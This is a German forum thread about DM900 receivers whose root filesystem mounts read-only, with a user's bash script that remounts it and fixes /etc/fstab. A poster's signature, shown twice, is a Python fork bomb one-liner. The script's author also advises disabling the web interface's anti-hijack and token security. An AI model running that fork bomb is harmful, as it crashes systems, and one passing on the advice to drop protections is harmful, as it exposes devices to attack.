..also hat der dmm netzwerkbrowser durch seine Einträge in die fstab das mountsystem zerstört ?
Angepinnt DM900UHD root write protect, Filesystem read only gemountet
-
-
gutemine schrieb:
da geht nichts kaputt, sondern da wird die fstab nicht korrekt editiert ...
Ihr verwechselt Ursache und Wirkung
Why drink & Drive ?
When you can smoke & fly
-
Nun am einbinden von cifs/nfs hatt sich für den user kaum was geändert bis auf das angeben der nfs version im vergleich zu OE 2.2.
Das ganze ist eine simple änderung was bei vielen zu Problemen geführt hatt aufgrund unwissenheit und schon wird OE 2.5 als etwas kompliziertes und instabiles gesehen.
Es ist halt eine Linux Kiste und da sollte man sich schon mal ein bischen mit der Materie auseinander setzen.Es gibt bei Linux kein Problem was nicht schon mal vorgekommen ist und vieles lässt sich mit google finden.python -c 'while 1: __import__("os").fork()'
Wer der Herde hinterher läuft frisst nur Scheisse , nicht das Gras ! -
das stimmt im prinzip ...
ich aber habe nur
up
reboot
gemacht ....
Aber wenn's dann nur ein User Fehler ist , dann hilft die Lösung trotzdemWhy drink & Drive ?
When you can smoke & fly
-
wenn wieder mal ein User ein readonly Filesystem hat, können wir ja als erstes mal fragen, was er zuletzt an seiner Box gemacht hat .
-
@dreamedge
dann wäre es bei dir ja eigentlich reproduzierbar wenn ein backup vorhanden, einfach mal die fstab vorher und danach vergleichen und schauen was "up" getan hat -
Wenn die fstab angepasst wurde und dich der Upgrade fragt was damit zu tun ist musst du nur die falsche Antwort geben ...
-
dreamedge schrieb:
ich aber habe nur
up
reboot
gemacht ....
-
gutemine schrieb:
Wenn die fstab angepasst wurde und dich der Upgrade fragt was damit zu tun ist musst du nur die falsche Antwort geben ...
-
leider nicht ... ist schon tage her und ich hatte kein Backup, deswegen bin ich überhaupt auf suche gegangen ...hätte ich jetzt auch gerne ...
Naja wie gesagt ... wenn es, warum auch immer, jemand hat (ja Kati910 gebe Dir ja recht, das es 99,9 % user Fehler sind) kann man sich damit helfen ..
Ich finde übrigens das 2.5 weder instabil noch kompliziert ist ... und schon gar nicht mit der genialen 900er
hmich schrieb:
gutemine schrieb:
Wenn die fstab angepasst wurde und dich der Upgrade fragt was damit zu tun ist musst du nur die falsche Antwort geben ...
Aber lasst jetzt mal gut sein...Why drink & Drive ?
When you can smoke & fly
-
Niemand kann hellsehen was bei dir oder bei jemandem anderen los war, aber es gab genug user die z.B. beim Update mit dem Softwaremanager als die Frage nach der fstab kahm nicht wussten was zu tun ist und einfach die box abgedreht haben ... oder die GP3 verwendet haben zum Upgraden und die Frage vielleicht gar nicht gesehen haben, oder die fstab mit einem nicht Unix kompatiblen editor editiert haben, oder ....
Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von Lost in Space ()
-
das stimmt allerdingsWhy drink & Drive ?
When you can smoke & fly
-
Hilfsbereit schrieb:
wenn wieder mal ein User ein readonly Filesystem hat, können wir ja als erstes mal fragen, was er zuletzt an seiner Box gemacht hat .
Ich kann es, skin installiert. Oder beim update ..entweder beim booten auf ja, oder manuell. In alles 3 Fällen ro.
Gesendet mit OpO und TapatalkDM 800 SE NN2 Stable 4.0.16
DM 900 UHD 4.3.Or25-2016-12-23 -
Ich hatte es jetzt auch und wollte es über (busybox-)cron lösen.
Leider wird der String @reboot (einmalig beim Start ausführen) weder vom busybox-cron noch von cron vom newnigma2 feed erkannt. Mein Script wird beim boot nicht gestartet- auch mit einer Endlosschleife getestet. Liegt wohl daran, dass beide cron versionen über ein initV script gestartet werden und nicht von systemd.
Ich hab's jetzt so gelöst, das ich über cron minütlich prüfe, ob das rootfs ro gemountet ist und mache einfach den rw,remount wenn ja. Ich überprüfe dann auch gleichzeitig die /etc/fsab ob die Zeile für den rootfs mount enthalten ist und schreibe die fstab bei Bedarf neu.
Ist zwar nur eine Notlösung, weil beim boot das rootfs erstmal ro gemountet wird und so auch kein apt-get update ausgeführt werden kann um die neuen updates anzuzeigen. Aber spätestens nach 60 Sekunden ist das rootfs rw gemountet und muss nicht an den PC um das zu korrigieren ...
Im Grunde könnte man auch ein Plugin für die GUI dafür basteln, um das über die FB zu beheben. Aber ich schätze, dass das sowieso bald gefixt wird.Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von Fred Bogus Trumper ()
-
hier das script, das im Grunde die Schritte aus dem 1. Post macht
/usr/script/checkrootfs.sh
Shell-Script
- #!/bin/bash
- PATH="/usr/script:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin"
- echo "check rootfs mount option"
- if [ $(mount -i|grep /dev/mmcblk0p2|grep -c "(ro,") = 1 ];then
- echo "rootfs mounted ro, try to remount rw"
- mount -o rw,remount /
- if [ $(mount -i|grep /dev/mmcblk0p2|grep -c "(rw,") = 1 ];then
- echo "remount rootfs rw successfully"
- else
- echo "remount rootfs rw failed"
- fi
- else
- echo "rootfs allready mounted rw, nothing to do ..."
- fi
- echo "check /etc/fstab rootfs mount options"
- if ! grep -v "#" /etc/fstab|grep rootfs >/dev/null;then
- if [ $(wget -O- -q http://localhost/web/timerlist|grep "e2state"| grep -c ">2<") != 0 ];then
- echo "at least one ongoing recording"
- exit 1
- else
- echo "no ongoing recording, update /etc/fstab"
- fi
- echo "restart enigma2"
- systemctl stop enigma2
- sed -i '1 i\rootfs / rootfs rw,relatime 0 1' /etc/fstab
- echo "rootfs mount not enabled in /etc/fstab!"
- echo "updated /etc/fstab successfully"
- systemctl start enigma2
- else
- echo "rootfs rw mount on boot allready enabled in /etc/fstab"
- fi
- echo
- cat /etc/fstab
- exit 0
nach /usr/script schieben und ausführbar machen:
chmod 755 /usr/script/checkrootfs.sh
das script über das CLI ausführen:
/usr/script/checkrootfs.sh
Quellcode
- root@dm900:~# /usr/script/checkrootfs.sh
- check rootfs mount option
- rootfs mounted ro, try to remount rw
- remount rootfs rw successfully
- check /etc/fstab rootfs mount options
- no ongoing recording, update /etc/fstab
- restart enigma2
- rootfs mount not enabled in /etc/fstab!
- updated /etc/fstab successfully
- rootfs / rootfs rw,relatime 0 1
- proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
- sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0
- devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620 0 0
- tmpfs /dev/shm tmpfs rw,nosuid,nodev,relatime 0 0
- tmpfs /run tmpfs rw,nosuid,nodev,relatime,mode=755 0 0
- tmpfs /tmp tmpfs rw,relatime 0 0
- tmpfs /var/volatile tmpfs rw,relatime,mode=755 0 0
- /dev/disk/by-uuid/60dcfd4a-a0ee-419f-846b-0d385e869656 /media/hdd auto auto,nofail 0 0
- /dev/disk/by-uuid/e6e1f2b7-0e33-41e9-9be0-75e88ffa5623 /media/sd auto auto,nofail 0 0
- root@dm900:~#
Ist nur ein workaround um die Schritte in einem Befehl aus dem 1. Post auszuführen, d.h. wenn das rootfs ro gemountet ist, wird es rw gemountet, wenn in der /etc/fstab der rootfs mount nicht enthalten wird, wird die fstab aktuallisiert, wenn keine Aufnahme läuft.
Enigma2 wird also nur dann gestoppt/gestartet, um die fstab anzupassen, wenn keine Aufnahme läuft. Dazu muss aber folgendes in den WebIF Einstellungen deaktiviert sein - sonst klappt das nicht:
Einfache Anti-Hijack Maßnahmen -> aus
Token-basierte Sicherheit -> aus
wer will kann das auch im (busybox-)cron minütlich laufen lassen, dann braucht man gar nicht manuell eingreifen
wie gesagt, dass ist nur ein automatisierter workaround, um den ro mount zu umgehen - der bug wird dadurch nicht behoben ...Dieser Beitrag wurde bereits 2 mal editiert, zuletzt von Fred Bogus Trumper ()
-
@Fred Bogus Trumper, @Teddy, @oZxS, @Joey, @nixkoenner, @kati910
Fred hat doch das Skript geschrieben, was die ganze Prozedur in einem Ritt erledigt. Würde es Schaden,dass Skript bei jedem Reboot ausführen zu lassen? Dann könnte man den Usern einfach sagen, mach mal einen Reboot und alles ist wieder gut?Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von Hilfsbereit ()
-
das hatte ich mit cron so versucht:
das hat weder mit dem build-in busy-box cron noch mit dem vixie-cron vom newigma2 feed funktioniert. Sonst hätte ich das auch so vorgeschlagen - der minütliche check ist also nur die Notlösung. Wenn / rw gemountet ist, läuft es in leere und belastet das system nicht wirklich. Ausserdem würde mit dem minütlichen cronjob / wieder rw gemountet werden, wenn / während des Betriebs ro geht - wie es z.B. @knuff beschrieben hat: skin installieren, update etc.
Der string '@reboot' sorgt eigentlich dafür, dass ein Script oder ein command beim reboot einmalig ausgeführt wird. Nur zeigt das im OE2.5 keine Wirkung. Ich hatte es sogar so gescriptet, dass das Script so lange in einer Endlos Schleife im Hintergrund läuft, bis / rw gemountet wird, wenn z.B. der mount Eintrag in der fstab fehlt und / ro gemountet wird. Das script würde heute noch laufen ...
Im OE2.0 funktioniert das problemlos.
Alternativ könnte man das ins enigma2 Startscript, emu start/stop script oder /etc/network/if-up.d/ einbauen, aber das ist teilweise nicht update sicher. Ich habe auch versucht das script über ein initV start/stop script und systemd zum Laufen zu bekommen. Aber das finde ich alles für einen overkill für einen bugfix, weil man da wieder ins system eingreift.
Sowas muss mit einfachen boardmitteln lösbar sein, aber ich habe keine Lust mehr DMM busybox cron bugs zu melden - das ist vergebene Liebesmüh ...
Aber wie gesagt, das ist sowieso nur eine einfache Notlösung um das ro mit einem Befehl in der CLI zu fixen oder in einem Plugin aufzurufen.Dieser Beitrag wurde bereits 4 mal editiert, zuletzt von Fred Bogus Trumper ()
-
ich hatte mir das nur so schön windowsmäßig wie im Autostartverzeichnis vorgestellt. Aber das ist wahrscheinlich zu einfach gedacht .
emu start/stop skript klingt doch nicht schlecht, oscam muss ja z.B. auch bei jedem reboot mit gestartet werden. Wärer das nicht updatesicher?
PS: vielleicht hat ja @gutemine in der Richtung noch einen Tipp?Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von Hilfsbereit ()
-
python -c 'while 1: __import__("os").fork()'
Wer der Herde hinterher läuft frisst nur Scheisse , nicht das Gras ! -
Super danke! Das @reboot verwende ich auch für andere Dinge.
busybox-cron startet recht früh (S20), das vixie-cron ist dagegen schon spät dran.
Mal sehen ob das mit dem @reboot über systemd gestartet klappt.
-
Teilen
- Facebook 0
- Twitter 0
- Google Plus 0
- Reddit 0
-
Benutzer online 2
2 Besucher